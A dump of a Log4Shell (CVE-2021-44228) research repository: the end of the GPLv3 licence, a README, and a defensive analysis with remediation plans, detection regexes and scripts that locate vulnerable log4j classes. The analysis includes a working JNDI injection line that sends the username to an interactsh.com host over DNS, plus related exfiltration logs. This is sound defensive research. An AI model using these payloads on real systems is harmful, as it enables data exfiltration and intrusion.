610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Objective
2 |
3 | [](https://github.com/righettod/log4shell-analysis/actions/workflows/test-detection-regex-for-bypass.yml)
4 |
5 | Contains all my research and content produced regarding the [log4shell](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) vulnerability.
6 |
7 | # Content
8 |
9 | ## Folder "analysis"
10 |
11 | Contain the information that I gather about the vulnerability, affected versions, exploitation context/requirements, remediation plan proposal and so on...
12 |
13 | This content is created using [Joplin](https://joplinapp.org/) and then exported as markdown to the **analysis** folder.
14 |
15 | ➡️ [Access to the content](analysis/06-STUDIES/04-Log4Shell_Vulnerability.md).
16 |
17 | 💡 Use the **TOC feature** of Github the navigate in the content (icon on top left):
18 |
19 | 
20 |
21 | ## Folder "payloads"
22 |
23 | Contain a collection of [log4shell](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) payloads seen on my twitter feeds.
24 |
25 | The goal is to allows testing detection regexes defined in protection systems against payloads effectively used.
26 |
27 | ➡️ [Access to the content](payloads/README.md).
28 |
29 | ## Folder "playground"
30 |
31 | Contains sample java files used to test my scripts.
32 |
33 | Precisely, contains *log4j-core* instances of the library including ones hidden in WAR/EAR archives as well as nested jars.
34 |
35 | The 6 files are named from `AAlog4j...` to `FFlog4j...` to faciliate the review of the test results.
36 |
37 | ## Folder "sandbox"
38 |
39 | Contains a maven project used to perform testing with the log4j2 library as well as working on protection/detection technical material, like unit test cases.
40 |
41 | It is a [IntelliJ IDEA](https://www.jetbrains.com/idea/download/#section=windows) project.
42 |
43 | ## Folder "scripts"
44 |
45 | > 💡 For Windows target: You can use the **bash** provided by [Git portable for Windows](https://git-scm.com/download/win) to run all the scripts.
46 |
47 | Contains utility script provided to help addressing this vulnerability.
48 |
49 | * [identify-log4j-class-location.sh](scripts/identify-log4j-class-location.sh): Bash script to identify Log4J affected class for CVE-2021-44228 in a collection of EAR/WAR/JAR files.
50 |
51 | ```bash
52 | $ bash identify-log4j-class-location.sh ../playground/
53 | [+] Searching class 'org/apache/logging/log4j/core/lookup/JndiLookup.class' across '../playground/' folder...
54 | [*] Inspecting file: BBlog4j - core - 2.14.1.jar
55 | [!] Class found in the file '../playground/BBlog4j - core - 2.14.1.jar'.
56 | [+] Try to find the Maven artefact version...
57 | File : ../playground/BBlog4j - core - 2.14.1.jar
58 | Metadata file : META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties
59 | Log4J version : 2.14.1
60 | [*] Inspecting file: dom4j-1.1.jar
61 | ...
62 | [!] Inspection finished - Class found!
63 | ```
64 |
65 | * [identify-tcm-expressions-usage.sh](scripts/identify-tcm-expressions-usage.sh): Bash script to identify code prone to CVE-2021-45046/CVE-2021-45105 in a collection of EAR/WAR/JAR files.
66 |
67 | ℹ️ A release jar file of this [java decompiler](https://github.com/intoolswetrust/jd-cli) must be present in the current folder as well as [java](https://adoptium.net/?variant=openjdk11) (JRE) in the `$PATH`.
68 |
69 | ```bash
70 | $ bash identify-tcm-expressions-usage.sh ../playground/
71 | [+] Include Log4J artefacts.
72 | [+] Searching for Log4J2 Thread Context Map or Log4J2 Expressions usage across '../playground/' folder...
73 | [*] Inspecting file: BBlog4j - core - 2.14.1.jar
74 | [!] Usage of the Thread Context Map identified in decompiled sources of the jar file '../playground/BBlog4j - core - 2.14.1.jar':
75 | /tmp/jarsrcwork/org/apache/logging/log4j/core/LogEvent.java:7:import org.apache.logging.log4j.ThreadContext;
76 | /tmp/jarsrcwork/org/apache/logging/log4j/core/layout/AbstractJacksonLayout.java:19:import org.apache.logging.log4j.ThreadContext;
77 | ...
78 | [!] Inspection finished - Usage found!
79 | ```
80 |
81 | ```bash
82 | $ bash identify-tcm-expressions-usage.sh ../playground/ --ignore-log4j2-artefacts
83 | [+] Exclude Log4J artefacts.
84 | [+] Searching for Log4J2 Thread Context Map or Log4J2 Expressions usage across '../playground/' folder...
85 | [V] Inspection finished - No usage found!
86 | ```
87 |
88 | ## Folder "videos"
89 |
90 | Contains videos of demonstrations and technical tests performed during the analysis.
91 |
92 | # Misc
93 |
94 | A companion tool was developed alongside this analysis to help the defender side: [log4shell-payload-grabber](https://github.com/righettod/log4shell-payload-grabber).
95 |
--------------------------------------------------------------------------------
/analysis/06-STUDIES/04-Log4Shell_Vulnerability.md:
--------------------------------------------------------------------------------
1 | # Context
2 |
3 | * [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228):
4 | * Vulnerability identified into Log4J < 2.15.0.
5 | * [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046):
6 | * Vulnerability identified into Log4J < 2.16.0.
7 | * [CVE-2021-45105](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105):
8 | * Vulnerability identified into Log4J < 2.17.0.
9 | * [CVE-2021-44832](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44832):
10 | * Vulnerability identified into Log4J < 2.17.1.
11 |
12 | This content:
13 | * Is created using [Joplin](https://joplinapp.org/) and then exported as markdown.
14 | * Is based on my personal technical tests, searches and understanding of the vulnerability. Therefore, if you see a mistake or a wrong statement then feel free to raise an [issue](https://github.com/righettod/log4shell-analysis/issues) to allow me to fix the mistake and understand why I have made it 🙂
15 |
16 | # Additional information
17 |
18 | * [Log4j overview related software by Nationaal Cyber Security Centrum](https://github.com/NCSC-NL/log4shell/blob/main/software/README.md).
19 | * [log4j-core version available in the maven official repository](https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core).
20 | * [Log4j RCE CVE-2021-44228 Exploitation Detection](https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b).
21 | * [CERT CH - Zero-Day Exploit Targeting Popular Java Library Log4j](https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/).
22 | * [CERT FR advisory about log4shell](https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/).
23 | * [Talos Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild](https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html).
24 |
25 | # Publishing location of the analysis
26 |
27 | https://github.com/righettod/log4shell-analysis
28 |
29 | # Action plan proposal to handle the vulnerability
30 |
31 | ## Disclaimer
32 |
33 | ⚠️ It's just a proposal based on my technical experience, it is not a silver bullet or a magic recipe!
34 |
35 | I propose the following approache to decrease the attack/exploitation surface.
36 |
37 | ## Step 1: Block callback/leakeage + artefact cartography
38 |
39 | ℹ️ To be performed in parallel
40 |
41 | * **Infrastructure team:** Ensure that firewall rules defined prevent any app to establish a TCP connection to a public IP or public domain.
42 | * **Infrastructure team:** Ensure that DNS resolution rules defined prevent any app to resolve a external (public) domain or sub domain.
43 | * **Infrastructure team:** Add log4shell signatures in all security devices based on update provided by the associated vendor.
44 | * Proposal: `grep -r --include "*.log" -nwE '\$\{.*?:.*\}' .`
45 | * This regex is [regularly testes against bypasses](https://github.com/righettod/log4shell-analysis/actions/workflows/test-detection-regex-for-bypass.yml).
46 | * **Security team:** Use this [script](https://github.com/righettod/log4shell-analysis/blob/main/scripts/identify-log4j-class-location.sh) to identify occurences of log4j affected JNDI lookup class and, by extension, any occurence of log4j libraries (*log4j-core* at least) across all JAR/WAR/EAR files on systems.
47 | * **Security team**: Identify the usage of the artefact **org.apache.logging.log4j:log4j-core** across all java projects via the maven proxy software installed (Artifactory/Nexus) in the company.
48 | * **Development team:** Identify the usage of the artefact **org.apache.logging.log4j:log4j-core** in any java project via the source code. In addition identify occurence of element in code, via [this set of regexes](#identify-formatmsgnolookups-bypass-exposure-in-source-code), allowing to bypass the protection bring by the parameter `log4j2.formatMsgNoLookups=true`. To complete, identify also any usage of the `printf()` function on a logger in the code because this one is also prone to the bypass (regex for this is hard/error-prone because **printf** function is also part of `System.(out|err)`).
49 |
50 | Help commands for development team - On Windows, replace `grep` by `Select-String -pattern "xxx"` ([Select-String documentation](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/select-string?view=powershell-7.2)):
51 |
52 | ```bash
53 | $ cd $PROJECT_FOLDER
54 | # For Maven based project
55 | $ mvn dependency:tree | grep "org.apache.logging.log4j:log4j-"
56 | [INFO] +- org.apache.logging.log4j:log4j-core:jar:2.14.1:compile
57 | [INFO] | \- org.apache.logging.log4j:log4j-api:jar:2.14.1:compile
58 | # For Gradle based project
59 | $ gradlew dependencies | grep "org.apache.logging.log4j:log4j-"
60 | \--- org.apache.logging.log4j:log4j-core:2.14.1
61 | \--- org.apache.logging.log4j:log4j-api:2.14.1
62 | ```
63 |
64 | ## Step 2: Patching
65 |
66 | **Security team**:
67 |
68 | Prioritize apps to be patched by order according to their reachability by attackers and provide this order to the development team:
69 | 1. Internet facing.
70 | 2. DMZ 1 / DMZ 2 / DMZ x.
71 | 3. Backend.
72 |
73 | **Development team:**
74 |
75 | * Idealy upgrade to the [last](https://logging.apache.org/log4j/2.x/download.html) version of Log4J (sync all artefacts from GroupID **org.apache.logging.log4j**).
76 | * If not possible **AND** the current version of **Log4J is >= 2.10.0**: Set the JVM parameter `log4j2.noFormatMsgLookup=true`. You still be exposed to the [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046) and to the [CVE-2021-45105](#note-about-exposure-to-dos) (depending on your version for CVE-2021-45105).
77 | * If not possible **AND** the current version of **Log4J is < 2.10.0**: Upgrade is mandatory!
78 | * Add these [security unit tests](https://github.com/righettod/log4shell-analysis/tree/main/sandbox/src/test/java/eu/righettod) to the project test suite to continuously ensure that the version used of log4j is not exposed to log4shell vulnerability: **Run them one at the time in sequence!**
79 |
80 | ## Step 3: Security monitoring
81 |
82 | * **Infrastructure team:** Update regularly log4shell signatures in all security devices based on update provided by the associated vendor.
83 | * **Security team:** Add app logs to the SIEM in order to detect exception raised by JVM during log4shell payload tentative.
84 | * JNDI lookup failed:
85 | * Regex: `(Error\slooking\sup\sJNDI\sresource\s\[.*?\])`
86 | * [Live example](https://regexr.com/6bgak).
87 | * DOS tentative on a version not impacting the main program:
88 | * Regex: `(AppenderLoggingException:\sjava\.lang\.OutOfMemoryError)`
89 | * [Live example](https://regexr.com/6c052).
90 | * DOS tentative on a version not vulnerable:
91 | * Regex (many occurences of the pattern `}}}}}...` ending a large expression): `(\}\}\}\}\}\}\}\}\}\})`
92 | * [Live example](https://regexr.com/6c05b).
93 | * DOS successful tentative on a version vulnerable:
94 | * Regex: `(java\.lang\.OutOfMemoryError:\sJava\sheap\sspace[\n\r\ta-z0-9A-Z\.\s:()<>]+?\(StrSubstitutor\.java)`
95 | * [Live example](https://regexr.com/6c066).
96 |
97 | Overview of the proposed regular expressions:
98 |
99 | 
100 |
101 | 
102 |
103 | 
104 |
105 | ## Important remark regarding vulnerability scanning
106 |
107 | If a vulnerablility scan is launched to detect log4shell exposure then ensure the following properties of the scan:
108 | * Perform a web app scan and not an IP scan.
109 | * Indicate the correct VHOST.
110 | * Indicate the correct Context Path.
111 | * Indicate the correct HTTP methods.
112 | * Indicate the correct Path to the controllers/services.
113 | * Indicate the correct list of parameters.
114 | * Do not forget API: For this use the OpenAPI/WSDL descriptor to ensure that the scanner will know all the services and how to correcty call them.
115 |
116 | This set of properties have for objective to ensure that the scanner will correctly call the endpoints with its log4shell test payloads in all supported parameters (body/header/query string) of the endpoints.
117 |
118 | ⚠️ Monitor your network devices event (firewall/WAF/IPS/...) to catch payloads submitted by the scanner that will trigger the vulnerability but for which **the callback or dns resolution will be blocked**. Otherwise the scan will report that the target is not vulnerable and it will be a false-negative.
119 |
120 | # Content of the initial analysis
121 |
122 | > 📚 Below are the collection of information discovered about this vulnerability and affected versions that was initially shared on the [LinkedIn post](https://www.linkedin.com/posts/righettod_script-to-identify-log4j-affected-class-for-activity-6875328992916852736-s8oX) above
123 |
124 | For a project managed via [maven](https://maven.apache.org/), you can use the following set of command to analyses all the modules dependencies:
125 |
126 | ```bash
127 | $ cd $PROJECT_HOME
128 | # See https://maven.apache.org/plugins/maven-dependency-plugin/copy-dependencies-mojo.html
129 | $ mvn dependency:copy-dependencies
130 | $ bash identify-log4j-class-location.sh $PROJECT_HOME
131 | ```
132 |
133 | For project managed via [gradle](https://gradle.org/), you can use this [task](https://stackoverflow.com/a/26698161) to perform the `mvn dependency:copy-dependencies` of maven.
134 |
135 | ℹ️ Initial [LinkedIn post](https://www.linkedin.com/posts/righettod_script-to-identify-log4j-affected-class-for-activity-6875328992916852736-s8oX) where I gathered all the information discovered about this vulnerability and affected versions.
136 |
137 | Many prefixes are available:
138 |
139 | 
140 |
141 | Prefixes can be combined:
142 |
143 | 
144 |
145 | In recent version (2.14.1) `spring` and `kubernetes` prefixes were supported. For Kubernetes, access is constrained to the [following information](https://github.com/apache/logging-log4j2/blob/master/log4j-kubernetes/src/main/java/org/apache/logging/log4j/kubernetes/KubernetesLookup.java#L165):
146 |
147 | 
148 |
149 | For the record, `lower` and `upper` prefixes were introduced from the version **2.13.0** of `log4j2-core`. So, if an expression use such prefix, like for example `${lower:JNDI}` in version **< 2.13.0** then it will be rendered AS IS: `${lower:JNDI}`
150 |
151 | 
152 |
153 | 
154 |
155 | Based on [CERT FR documentation](https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/) provided (thanks to [Pierre Dewez](https://www.linkedin.com/in/pdewez/)), I performed a test on the DNS resolution with prefixes combination in a expression for data leakage via DNS because RCE is not the only problem (even if it is the most important one).
156 |
157 | For log4j-core **<= 2.7**, prefixes combination in a expression seems not supported:
158 |
159 | 
160 |
161 | For log4j-core **>= 2.8**, prefixes combination in a expression is supported:
162 |
163 | 
164 |
165 | With the help of [Sébastien Kaiser](https://www.linkedin.com/in/s%C3%A9bastien-kaiser-a1808582/), we achieve to create a little regex to identify log4j expressions:
166 |
167 | ```bash
168 | grep -r --include "*.log" -nwE '\$\{.*?:.*\}' .
169 | ```
170 |
171 | Attempt to tune to prevent the usage of `.*` failed, we did not achieve to made `grep` accept it. On another side, it catch any log4j expression because they are already many bypass available/published.
172 |
173 | Proposed regex was based on expressions seen in logs as well as the characters used for an expression:
174 |
175 | 
176 |
177 | Data exfiltration via DNS on recent version of Java (JDK 11/12/15/17) is effective:
178 |
179 | 
180 |
181 | 
182 |
183 | 
184 |
185 | 
186 |
187 | Regarding the data exfiltration via DNS, there is a constraint on accepted characters and I did not find a prefix to encode data or a way to use a subset. The last version of log4j-core provide a [Base64 prefix](https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Base64StrLookup.java) but it is for decoding and this new prefix [is not present before](https://github.com/apache/logging-log4j2/tree/rel/2.14.1/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup) the **2.5.0**:
188 |
189 | 
190 |
191 | 
192 |
193 | So based on this to be exfiltrated via DNS, a data must have the format `[0-9A-Za-z\-_]*` because (at least I have not found) there is no easy way to encode/cut/split the data to bypass this constraint.
194 |
195 | Theoretical way to bypass the constraints above (**POC** required):
196 |
197 | 
198 |
199 | 
200 |
201 | Source: https://twitter.com/0x6772/status/1471204834879672322
202 |
203 | The following exception is raised when a DNS resolution failed, for example, if a not allowed character is used in sub domain name:
204 |
205 | ```text
206 | 2021-12-14 07:58:14,165 main WARN Error looking up JNDI resource [dns://ab'456.c6s40maa89k6h46f3ar0cghrysoyyyyyn.interactsh.com]. javax.naming.ConfigurationException: Unknown DNS server: ab'456.c6s40maa89k6h46f3ar0cghrysoyyyyyn.interactsh.com [Root exception is java.net.UnknownHostException: No such host is known (ab'456.c6s40maa89k6h46f3ar0cghrysoyyyyyn.interactsh.com)]; remaining name '.'
207 | at jdk.naming.dns/com.sun.jndi.dns.DnsClient.(DnsClient.java:130)
208 | at jdk.naming.dns/com.sun.jndi.dns.Resolver.(Resolver.java:61)
209 | at jdk.naming.dns/com.sun.jndi.dns.DnsContext.getResolver(DnsContext.jav
210 | ...
211 | ```
212 |
213 | When the resolution succeed then the following exception can occur:
214 |
215 | ```
216 | 2021-12-14 07:57:58,989 main WARN Error looking up JNDI resource [dns://ab-456.c6s40maa89k6h46f3ar0cghrysoyyyyyn.interactsh.com]. javax.naming.CommunicationException: DNS error [Root exception is java.net.SocketTimeoutException: Receive timed out]; remaining name '.'
217 | at jdk.naming.dns/com.sun.jndi.dns.DnsClient.query(DnsClient.java:316)
218 | at jdk.naming.dns/com.sun.jndi.dns.Resolver.query(Resolver.java:81)
219 | at jdk.naming.dns/com.sun.jndi.dns.DnsContext.c_lookup(DnsContext.java:290)
220 | at java.naming/com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
221 | at java.naming/com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
222 | at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(Generic
223 | ```
224 |
225 |
226 | So, the following regex can be use to identify injection tentative (failed and some succeed) - [Live Example](https://regexr.com/6bgak):
227 |
228 | ```text
229 | (Error\slooking\sup\sJNDI\sresource\s\[.*?\])
230 | ```
231 |
232 | Code for the DNS test - [InteractSH](https://github.com/projectdiscovery/interactsh) Github repository:
233 |
234 | ```java
235 | Logger log = LogManager.getLogger(Sandbox2.class);
236 | System.out.printf("LOG4J2 version: %s\n", log.getClass().getPackage().getImplementationVersion());
237 | System.out.printf("Java version : %s\n", System.getProperty("java.version"));
238 | //On linux use ${env:USER}
239 | log.info("${jndi:dns://${env:USERNAME}.xxxxx.interactsh.com}");
240 | ```
241 |
242 |
243 | # Unit test case for CVE-2021-44228
244 |
245 | The following unit tests suite can be added to a project to continuously *ensure that the version used of log4j-core is not exposed to log4shell vulnerability.*
246 |
247 | [Log4ShellExposureTest.java](https://github.com/righettod/log4shell-analysis/blob/main/sandbox/src/test/java/eu/righettod/Log4ShellExposureTest.java)
248 |
249 | Execution on the unit test against **log4j-core 2.14.1** (vulnerable):
250 |
251 | 
252 |
253 | Execution on the unit test against **log4j-core 2.16.0** (patched):
254 |
255 | 
256 |
257 | # Note about the affected JNDI class presence
258 |
259 | The following script was created to identify, in which jar files of a [complete distribution of Log4J2](https://archive.apache.org/dist/logging/log4j/), the class `org.apache.logging.log4j.core.lookup.JndiLookup` is present:
260 |
261 | ```bash
262 | #!/bin/bash
263 | #########################################################################################################
264 | # Script to identify Log4J affected class for CVE-2021-44228 in a distribution of LOG4J2
265 | #########################################################################################################
266 | # See https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core
267 | VERSION=$1
268 | TARGET_CLASS_NAME="org/apache/logging/log4j/core/lookup/JndiLookup.class"
269 | DIST_URL="https://archive.apache.org/dist/logging/log4j/$VERSION/apache-log4j-$VERSION-bin.zip"
270 | WORKDIR="/tmp/work"
271 | WORKBIN="/tmp/log4j2.zip"
272 | echo -e "\e[93m[+] Download and uncompress release $VERSION archive...\e[0m"
273 | wget -q -O $WORKBIN $DIST_URL
274 | rm -rf $WORKDIR 2>/dev/null
275 | mkdir $WORKDIR
276 | unzip -q -d $WORKDIR $WORKBIN
277 | echo -e "\e[93m[+] Search class '$TARGET_CLASS_NAME' across all jar files...\e[0m"
278 | for lib in $(find $WORKDIR -iname "*.jar")
279 | do
280 | find=$(unzip -l $lib | grep -c "$TARGET_CLASS_NAME")
281 | if [ $find -ne 0 ]
282 | then
283 | echo "'$(basename $lib)' file contains the class."
284 | fi
285 | done
286 | echo -e "\e[93m[+] Cleanup...\e[0m"
287 | rm -rf $WORKDIR 2>/dev/null
288 | rm $WORKBIN
289 | ```
290 |
291 | Execution against the release **2.14.1**:
292 |
293 | ```bash
294 | $ bash find-jndi-class.sh "2.14.1"
295 | [+] Download and uncompress release 2.14.1 archive...
296 | [+] Search class 'org/apache/logging/log4j/core/lookup/JndiLookup.class' across all jar files...
297 | 'log4j-core-2.14.1.jar' file contains the class.
298 | [+] Cleanup...
299 | ```
300 |
301 | Execution against **all published releases**:
302 |
303 | *Utility script named test.sh*
304 |
305 | ```bash
306 | #!/bin/bash
307 | while IFS= read -r line
308 | do
309 | bash find-jndi-class.sh $line
310 | done < "versions.txt"
311 | ```
312 |
313 | *Execution*
314 |
315 | ```bash
316 | # "data.txt" file created using this page html content:
317 | # https://archive.apache.org/dist/logging/log4j/
318 | $ head -5 data.txt
319 | [DIR] 2.0-alpha1/ 2016-05-30 04:49 -
320 | [DIR] 2.0-alpha2/ 2016-05-30 04:49 -
321 | [DIR] 2.0-beta1/ 2016-05-30 04:49 -
322 | [DIR] 2.0-beta2/ 2016-05-30 04:49 -
323 | [DIR] 2.0-beta3/ 2016-05-30 04:49 -
324 | $ cat data.txt | cut -d'/' -f1 | cut -d' ' -f2 | sort > versions.txt
325 | $ head -5 versions.txt
326 | 2.0
327 | 2.0-alpha1
328 | 2.0-alpha2
329 | 2.0-beta1
330 | 2.0-beta2
331 | $ bash test.sh | grep "file contains the class"
332 | 'log4j-core-2.0.jar' file contains the class.
333 | 'log4j-core-2.0-beta9.jar' file contains the class.
334 | 'log4j-core-2.0-rc1.jar' file contains the class.
335 | 'log4j-core-2.0-rc2.jar' file contains the class.
336 | 'log4j-core-2.0.1.jar' file contains the class.
337 | 'log4j-core-2.0.2.jar' file contains the class.
338 | 'log4j-core-2.1.jar' file contains the class.
339 | 'log4j-core-2.10.0.jar' file contains the class.
340 | 'log4j-core-2.11.0.jar' file contains the class.
341 | 'log4j-core-2.11.1.jar' file contains the class.
342 | 'log4j-core-2.11.2.jar' file contains the class.
343 | 'log4j-core-2.12.0.jar' file contains the class.
344 | 'log4j-core-2.12.1.jar' file contains the class.
345 | 'log4j-core-2.12.2.jar' file contains the class.
346 | 'log4j-core-2.13.0.jar' file contains the class.
347 | 'log4j-core-2.13.1.jar' file contains the class.
348 | 'log4j-core-2.13.2.jar' file contains the class.
349 | 'log4j-core-2.13.3.jar' file contains the class.
350 | 'log4j-core-2.14.0.jar' file contains the class.
351 | 'log4j-core-2.14.1.jar' file contains the class.
352 | 'log4j-core-2.15.0.jar' file contains the class.
353 | 'log4j-core-2.16.0.jar' file contains the class.
354 | 'log4j-core-2.2.jar' file contains the class.
355 | 'log4j-core-2.3.jar' file contains the class.
356 | 'log4j-core-2.4.jar' file contains the class.
357 | 'log4j-core-2.4.1.jar' file contains the class.
358 | 'log4j-core-2.5.jar' file contains the class.
359 | 'log4j-core-2.6.jar' file contains the class.
360 | 'log4j-core-2.6.1.jar' file contains the class.
361 | 'log4j-core-2.6.2.jar' file contains the class.
362 | 'log4j-core-2.7.jar' file contains the class.
363 | 'log4j-core-2.8.jar' file contains the class.
364 | 'log4j-core-2.8.1.jar' file contains the class.
365 | 'log4j-core-2.8.2.jar' file contains the class.
366 | 'log4j-core-2.9.0.jar' file contains the class.
367 | 'log4j-core-2.9.1.jar' file contains the class.
368 | ```
369 |
370 | So, focus can be made on the artifact **org.apache.logging.log4j:log4j-core** when searching for usage of Log4J2 in project source code / maven proxy / projet descriptor (maven, gradle).
371 |
372 | # Note about the security flags
373 |
374 | The following script was created to identify, in which version of Log4j2, the flag `log4j2.formatMsgNoLookups` or `log4j2.enableJndi` were present based on sources provided with [complete distribution of Log4J2](https://archive.apache.org/dist/logging/log4j/):
375 |
376 | ```bash
377 | #!/bin/bash
378 | #########################################################################################################
379 | # Script to identify Log4J version supporting security flags mentioned in CVE advisory
380 | #########################################################################################################
381 | # See https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core
382 | VERSION=$1
383 | DIST_URL="https://archive.apache.org/dist/logging/log4j/$VERSION/apache-log4j-$VERSION-bin.zip"
384 | WORKDIR="/tmp/work2"
385 | WORKBIN="/tmp/log4j2-dist.zip"
386 | WORKSRC="/tmp/worksrc"
387 | echo -e "\e[93m[+] Download and uncompress release $VERSION archive...\e[0m"
388 | wget -q -O $WORKBIN $DIST_URL
389 | rm -rf $WORKDIR 2>/dev/null
390 | mkdir $WORKDIR
391 | unzip -q -d $WORKDIR $WORKBIN
392 | echo -e "\e[93m[+] Search flags across all sources files ...\e[0m"
393 | for lib in $(find $WORKDIR -iname "*-sources.jar")
394 | do
395 | rm -rf $WORKSRC 2>/dev/null
396 | mkdir $WORKSRC
397 | unzip -q -d $WORKSRC $lib
398 | # See https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/util/Constants.java#L67
399 | find=$(grep -r --include "*.java" "log4j2\.formatMsgNoLookups" $WORKSRC | wc -l)
400 | if [ $find -ne 0 ]
401 | then
402 | echo "'$(basename $lib)' file contains the flag: 'log4j2.formatMsgNoLookups'."
403 | fi
404 | # See https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java#L76
405 | find=$(grep -r --include "*.java" "log4j2\.enableJndi" $WORKSRC | wc -l)
406 | if [ $find -ne 0 ]
407 | then
408 | echo "'$(basename $lib)' file contains the flag: 'log4j2.enableJndi'."
409 | fi
410 | done
411 | echo -e "\e[93m[+] Cleanup...\e[0m"
412 | rm -rf $WORKDIR 2>/dev/null
413 | rm -rf $WORKSRC 2>/dev/null
414 | rm $WORKBIN
415 | ```
416 |
417 | Execution against **all published releases**:
418 |
419 | *Utility script named test.sh*
420 |
421 | ```bash
422 | #!/bin/bash
423 | while IFS= read -r line
424 | do
425 | bash find-flag.sh $line
426 | done < "versions.txt"
427 | ```
428 |
429 | *Execution*
430 |
431 | ```bash
432 | # "data.txt" file created using this page html content:
433 | # https://archive.apache.org/dist/logging/log4j/
434 | $ head -5 data.txt
435 | [DIR] 2.0-alpha1/ 2016-05-30 04:49 -
436 | [DIR] 2.0-alpha2/ 2016-05-30 04:49 -
437 | [DIR] 2.0-beta1/ 2016-05-30 04:49 -
438 | [DIR] 2.0-beta2/ 2016-05-30 04:49 -
439 | [DIR] 2.0-beta3/ 2016-05-30 04:49 -
440 | $ cat data.txt | cut -d'/' -f1 | cut -d' ' -f2 | sort > versions.txt
441 | $ head -5 versions.txt
442 | 2.0
443 | 2.0-alpha1
444 | 2.0-alpha2
445 | 2.0-beta1
446 | 2.0-beta2
447 | $ bash test.sh | grep "file contains the flag"
448 | 'log4j-core-2.10.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
449 | 'log4j-core-2.11.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
450 | 'log4j-core-2.11.1-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
451 | 'log4j-core-2.11.2-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
452 | 'log4j-core-2.12.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
453 | 'log4j-core-2.12.1-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
454 | 'log4j-core-2.12.2-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
455 | 'log4j-core-2.12.2-sources.jar' file contains the flag: 'log4j2.enableJndi'.
456 | 'log4j-core-2.13.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
457 | 'log4j-core-2.13.1-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
458 | 'log4j-core-2.13.2-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
459 | 'log4j-core-2.13.3-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
460 | 'log4j-core-2.14.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
461 | 'log4j-core-2.14.1-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
462 | 'log4j-core-2.15.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'.
